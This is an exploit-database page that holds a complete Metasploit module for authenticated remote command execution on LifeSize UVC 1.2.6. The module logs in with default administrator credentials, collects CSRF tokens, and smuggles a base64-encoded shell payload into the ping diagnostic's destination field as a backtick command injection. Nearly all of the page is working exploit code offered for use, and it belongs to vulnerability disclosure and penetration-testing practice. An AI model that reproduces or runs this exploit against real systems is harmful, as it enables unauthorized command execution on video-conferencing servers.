LifeSize UVC Authenticated Remote Command Execution

2014.03.25
Credit: Brandon Perry
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "LifeSize UVC Authenticated RCE via Ping", 'Description' => %q{ When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker can abuse the ping diagnostic functionality to achieve remote command execution as the www-data user (or equivalent) }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module ], 'References' => [ ['EDB', '32437'] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['LifeSize UVC version <= 1.2.6', {}] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' } }, 'DisclosureDate' => "Mar 21 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123']) ], self.class) end def exploit res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'accounts', 'login/') }) if !res or !res.body fail_with("Server did not respond in an expected way") end if res.code != 200 fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port") end token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) if token.length < 2 fail_with("Could not find token on page.") end token = token[1] post = { 'csrfmiddlewaretoken' => token, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } #referer is required res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'accounts/'), 'method' => 'POST', 'vars_post' => post, 'headers' => { 'Referer' => 'https://' + datastore['RHOST'] + '/accounts/' }, 'cookie' => 'csrftoken=' + token }) if !res fail_with("Server did not respond in an expected way") end #we want a 302, 200 means we are back at login page if res.code == 200 fail_with("Authentication failed. Please check your username and password.") end cookie = res.get_cookies new_cookie = 'csrftoken=' + token + '; ' + cookie res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), 'cookie' => new_cookie }) if !res or !res.body fail_with("Server did not respond in an expected way") end token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) token = token[1] new_cookie = 'csrftoken=' + token + '; ' + cookie pay = 'csrfmiddlewaretoken='+token pay << '&source_ip=' + datastore['RHOST'] pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com' #referer is required res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), 'method' => 'POST', 'headers' => { 'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/' }, 'cookie' => new_cookie, 'data' => pay }) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top